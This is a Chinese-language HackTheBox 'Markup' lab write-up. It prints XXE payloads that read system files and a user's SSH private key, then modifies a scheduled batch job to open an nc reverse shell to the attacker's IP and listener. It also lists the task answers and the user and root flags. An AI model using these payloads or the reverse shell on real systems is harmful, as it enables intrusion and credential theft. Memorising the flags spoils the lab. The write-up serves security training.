HackTheBox-Starting Point--Tier 2---Markup

文章目录

  • 一 Markup测试过程
    • 1.1 打点
    • 1.2 权限获取
    • 1.3 权限升级
  • 二 题目


一 Markup测试过程


1.1 打点

  1.端口扫描

nmap -A -Pn -sC 10.129.95.192

在这里插入图片描述

  2.访问web网站,登录口爆破发现存在弱口令admin:password在这里插入图片描述

  3.抓包,发现请求体是XML格式
在这里插入图片描述

在这里插入图片描述

  4.尝试使用XXE漏洞file协议读取文件

<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<item>&xxe;</item>

在这里插入图片描述


1.2 权限获取


  1.在网页源代码中,发现存在用户名 Daniel

在这里插入图片描述

  2.假定 Daniel 是真实存在的用户,尝试检索Daniel用户的ssh私钥

<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa" >]>
<item>&xxe;</item>

在这里插入图片描述

  3.获取到RSA私钥,接下来就使用RSA私钥尝试登录

# 将XXE漏洞获取到的ssh 私钥复制进id_rsa中,并赋400权限
vi id_rsa
chmod 400 id_rsa
ssh -i id_rsa Daniel@10.129.95.192

在这里插入图片描述

在这里插入图片描述


1.3 权限升级


  1.查看当前用户的安全特权

whoami /priv

  daniel用户拥有SeChangeNotifyPrivilegeSeIncreaseWorkingSetPrivilege权限,暂无可利用点。

在这里插入图片描述

  2.查看是否存在敏感文件

  在Log-Management文件夹下发现 job.bat 文件

在这里插入图片描述

cd Log-Management
dir
type job.bat

  job.bat主要用来清除日志,并且必须是管理员用户才可以执行。并且有一个wevtutil.exe可执行文件。

在这里插入图片描述

# icacls命令,可以对特定文件或文件夹设置访问权限、修改权限、查看权限等操作
icacls job.bat

  但是job.bat只能由管理员用户执行,目前是Daniel用户权限,无法利用。
  那用户组是否对 job.bat 有其他的操作权限。
  从输出可以看出,组BUTLTIN\Users 对 bat.job 文件具有完全控制权限,BUILTIN\Users 组表示所有本地用户,肯定也就包含 Daniel 用户。所以只要能操控bat.job就可以运行我门的反弹shell。

在这里插入图片描述

  3.检查job.bat文件中提到的wevtutil进程是否正在运行

  在job.bat中,wevtutil.exe进程是作为计划任务定期去检索相关信息并执行操作。如何wevtutil.exe进程正在运行的话,我门就可以利用job.bat进行计划任务反弹shell了。

schtasks

在这里插入图片描述

在这里插入图片描述

  4.将nc.exe上传到\Log-Management目录

# 攻击机器开启httpweb
python3 -m http.server 8080
wget http://10.10.14.35:8080/nc64.exe -outfile nc64.exe
dir

在这里插入图片描述

  5.执行反弹shell

# 攻击机执行监听
ncat -lnvp 4444

  我们对该二进制文件job.bat具有完全访问权限,这意味着我们可以修改job.bat文件并插入任何我们构造好的payload。我们可以使用nc64.exe,借此更改.bat文件以生成一个反向shell。

echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.35 4444 > C:\Log-Management\job.bat 

在这里插入图片描述

在这里插入图片描述

  6.查看root flag

在这里插入图片描述


二 题目


Tags

Web、Injection、Apache、SSH、PHP、Reconnaissance、Scheduled Job Abuse、Weak Credentials、Arbitrary File Upload、XXE Injection、Weak Permissions

译文:Web、注入、Apache、SSH、PHP、侦察、计划任务滥用、弱凭据、任意文件上传、XXE注入、弱权限

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

TASK 1

What version of Apache is running on the target's port 80?

译文:目标 80 端口上运行的Apache哪个版本?

答:2.4.41

TASK 2

What username:password combination logs in successfully?

译文:什么用户名:密码组合登录成功?

答:admin:password

TASK 3

What is the word at the top of the page that accepts user input?

译文:页面顶部接受用户输入的单词是什么?

答:order

TASK 4

What XML version is used on the target? 

译文:目标使用什么 XML 版本?

答:1.0

TASK 5

What does the XXE / XEE attack acronym stand for? 

译文:XXE / XEE攻击首字母缩略词代表什么?

答:XML External Entity

TASK 6

What username can we find on the webpage's HTML code?

译文:我们可以在网页的 HTML 代码上找到什么用户名?

答:daniel

TASK 7

What is the file located in the Log-Management folder on the target?

译文:目标上的 Log-Management 文件夹中的文件是什么?

答:job.bat

TASK 8

What executable is mentioned in the file mentioned before?

译文:前面提到的文件中提到了什么可执行文件?

答:wevtutil.exe

SUBMIT FLAG

Submit user flag

译文:用户flag

答:032d2fc8952a8c24e39c8f0ee9918ef7  

SUBMIT FLAG

Submit root flag

译文:提交root flag

答:f574a3e7650cebd8c39784299cb570f8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/156437.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

购买阿里云服务器需要多少钱?活动价3000元-5000元的阿里云服务器汇总

购买阿里云服务器需要多少钱&#xff1f;如果我们只有3000元-5000元的预算可以购买什么实例规格和配置的阿里云服务器呢&#xff1f;因为阿里云服务器价格是由实例规格、配置、带宽等众多配置决定的&#xff0c;所以&#xff0c;目前阿里云活动中的价格在3000元-5000元的云服务…

购买阿里云服务器需要多少钱?活动价2000元-3000元的阿里云服务器汇总

购买阿里云服务器需要多少钱&#xff1f;如果我们只有2000元-3000元的预算可以购买什么实例规格和配置的阿里云服务器呢&#xff1f;因为阿里云服务器价格是由实例规格、配置、带宽等众多配置决定的&#xff0c;所以&#xff0c;目前阿里云活动中的价格在2000元-3000元的云服务…

一文揭秘共享wifi二维码项目推广技巧!

随着无线网络的普及和移动互联网的快速发展&#xff0c;共享WiFi已成为人们生活中不可或缺的一部分。共享WiFi二维码项目作为一个独具创意的共享项目&#xff0c;将二维码推广与共享WiFi相结合&#xff0c;不仅可以提升品牌曝光度&#xff0c;还能为用户提供便捷的上网体验。那…

什么是圆锥的准线?

定曲线C叫做锥面的准线&#xff0c;构成曲面的每一条直线叫做母线。

RedHat公司及红帽认证介绍丨红帽认证等级介绍

RedHat公司及红帽认证介绍 红帽公司成立工1993年&#xff0c;是全球首家收入超10亿美元的开源公司&#xff0c;总部位于美国&#xff0c;分支机构遍布全球。红帽公司作头全球领先的开源和Linux系统提供商&#xff0c;其产品已被业界广泛认可并使用&#xff0c;尤其是RHEL系统在…

CentOs 7 PHP安装和配置

目录 1 安装epel源 2 安装REMI源 3 安装yum源管理工具 4 安装PHP7.3 5 启动php服务 6 设置PHP 6.1 查找安装包 6.2 查找PHP安装位置 6.3 查找php配置文件位置 6.4 配置PHP 6.5 设置快捷命令 6.6 查看php版本 6.7 更新php 1 安装epel源 yum -y install epel-release 2 安…

数据仓库基础

ODS&#xff08;Operational Data Store&#xff09;层&#xff1a;操作数据存储。存放原始数据&#xff0c;直接加载原始日志、数据&#xff0c;起到备份数据的作用。数据采用压缩&#xff0c;减少磁盘存储空间。创建分区表&#xff0c;防止后续的全表扫描。 DWD(data wareho…

MatrixOne 支持多样化生态工具

近日&#xff0c;云原生数据库 MatrixOne 支持多样化生态工具&#xff0c;包括&#xff1a;数据集成工具、BI 工具和数据计算引擎这三类生态工具。 云原生数据库使得传统数据库得以充分结合云服务的免运维、高弹性、高可扩展、高可用、高性价比优势&#xff0c;又顺应了云端应…

IDEA远程一键部署SpringBoot到Docker

IDEA是Java开发利器&#xff0c;Spring Boot是Java生态中最流行的微服务框架&#xff0c;docker是时下最火的容器技术&#xff0c;那么它们结合在一起会产生什么化学反应呢&#xff1f; 一、开发前准备 1. Docker安装 可以参考&#xff1a;https://docs.docker.com/install/ 2…

创作者等级终于升到4级了

写了两个月的文章&#xff0c;终于等到4级了。发文纪念一下&#xff1a;

蔚来面试题

文章目录 1.解释脏读/不可重复读/幻读不可重复读和幻读的区别2.索引失效的场景有哪些?3.Explain执行计划用过吗?4.Type字段有什么信息?5.binlog和redolog区别?6.Redis基本数据类型7.有序集合底层实现数据结构?8.跳表插入数据的过程?为什么要这样设计呢?添加流程9.线程池…

关于圆通物流在AppLink上的操作

在使用物流系统时&#xff0c;我们会出现订单变化而导致物流轨迹发生改动&#xff0c;如果反馈不及时会造成额外的工作量以及会出现人为的操作失误&#xff0c;我们尝试借助AppLink来实现圆通物流在发生变化时的信息同步 登录开放平台 复制右侧登录地址登录圆通速递管理后台&…

python数据处理作业10:将图中数据创建一个DataFrame,保存为csv格式,读取该文件,删除体育成绩,并添加语文,数学和英语的平均成绩

每日小语 心无旁骛&#xff0c;专心于事业的追求&#xff0c;就会忘掉许多烦恼&#xff0c;找到许多努力过程中的快乐。——黑格尔 gpt import pandas as pd# 创建DataFrame并保存为CSV文件 data {姓名: [张三, 李四, 王五, 赵六],语文成绩: [80, 90, 85, 75],数学成绩: [7…

<Linux>(极简关键、省时省力)《Linux操作系统原理分析之Linux 进程管理 1》(5)

《Linux操作系统原理分析之Linux 进程管理 1》&#xff08;5&#xff09; 4 Linux 进程管理4.1 Linux 进程概述4.1.1 Linux 进程的组成4.1.2 Linux 进程在处理机上的执行状态4.1.3 进程空间和系统空间4.1.4 进程上下文和系统上下文 4 Linux 进程管理 4.1 Linux 进程概述 4.1.…

恭喜顺利结项 | 开源之夏 2023openGauss项目结项结果公示

祝贺&#xff01; 激动人心的时刻终于到来&#xff01;开源之夏 2023 活动结项审核结果正式出炉。此次&#xff0c;openGauss深度参与活动&#xff0c;发布12个openGauss相关项目&#xff0c;10个项目进入开发周期&#xff0c;最终有8个项目成功结项。恭喜所有成功结项的同学&…

三菱FX3U小项目—机床定时器延时启动

目录 一、项目描述 二、IO口分配 三、项目程序 四、总结 一、项目描述 为了防止工人操作失误&#xff0c;启动按钮需要按住1s后&#xff0c;设备才启动&#xff0c;启动后第一台电机启动10s后第二台电机自动启动&#xff0c;当按下停止按钮时&#xff0c;两台电机同时停止。…

在Broker端进行消息过滤

在Broker端进行消息过滤&#xff0c;可以减少无效消息发送到Consumer&#xff0c;少占用网络带宽从而提高吞吐量。Broker端有三种方式进行消息过滤。 1.消息的Tag和Key 对一个应用来说&#xff0c;尽可能只用一个Topic&#xff0c;不同的消息子类型用Tag来标识&#xff08;每条…

扩散模型实战(十):Stable Diffusion文本条件生成图像大模型

推荐阅读列表&#xff1a; 扩散模型实战&#xff08;一&#xff09;&#xff1a;基本原理介绍 扩散模型实战&#xff08;二&#xff09;&#xff1a;扩散模型的发展 扩散模型实战&#xff08;三&#xff09;&#xff1a;扩散模型的应用 扩散模型实战&#xff08;四&#xff…

MySQL集群高可用架构之MMM

目录 一、MMM概述 1.1 MMM 简介 1.2 MMM高可用架构 1.3 MMM工作原理 1.4 工作流程图 二、MMM高可用双主双从架构部署 1、架构&#xff1a; 2、搭建 MySQL 多主多从模式 3、安装配置 MySQL-MMM 4、故障测试 一、MMM概述 1.1 MMM 简介 MMM&#xff08;Master-Master re…

设计模式(5)-使用设计模式实现简易版springIoc

自定义简易版springIoc 1 spring使用回顾 自定义spring框架前&#xff0c;先回顾一下spring框架的使用&#xff0c;从而分析spring的核心&#xff0c;并对核心功能进行模拟。 数据访问层。定义UserDao接口及其子实现类 public interface UserDao {public void add(); }public…